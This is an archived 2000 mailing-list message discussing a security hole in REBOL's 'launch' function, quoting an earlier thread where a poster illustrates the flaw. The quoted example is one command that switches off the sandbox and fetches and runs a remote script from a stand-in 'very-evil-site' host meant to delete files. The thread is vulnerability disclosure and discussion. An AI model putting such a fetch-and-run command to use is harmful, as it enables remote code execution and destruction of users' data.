[ALLY] Launch security? Re:(2)
From: allenk:powerup:au at: 17-Sep-2000 1:17
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From: <[brian--hawley--bigfoot--com]>
To: <[ally--rebol--com]>
Sent: Tuesday, August 22, 2000 2:46 AM
Subject: [ALLY] Launch security? Re:
> Frank ([fsievert--uos--de]) wrote:
> >I think that launch is not a really good idea. What happens, when I say
> >
> > launch {-s --do "do
http://www.very-evil-site.com/delete_all_stuff.r"}
> >
> >in my REB site. This would allow me to kick away all of the security,
> >wouldn't it?
>
> Yes, it would. I wrote about this last Friday on the rebol list,
> message #304082: "A small security hole REBOL, and a huge one!".
> Take a look at that thread, it's interesting reading.
>
> In reply, Jeff at REBOL Tech wrote:
> >Launch, at least in its present form, will not likely be in
> >the regular distribution. It went out in the windows view
> >version by accident.
Not sure if anything has changed to make launch safer or not, but 'launch
looks like it is meant to be part of \view now, or at least Carl is making
use of it in the View Test Panel at the moment.
Cheers,
Allen K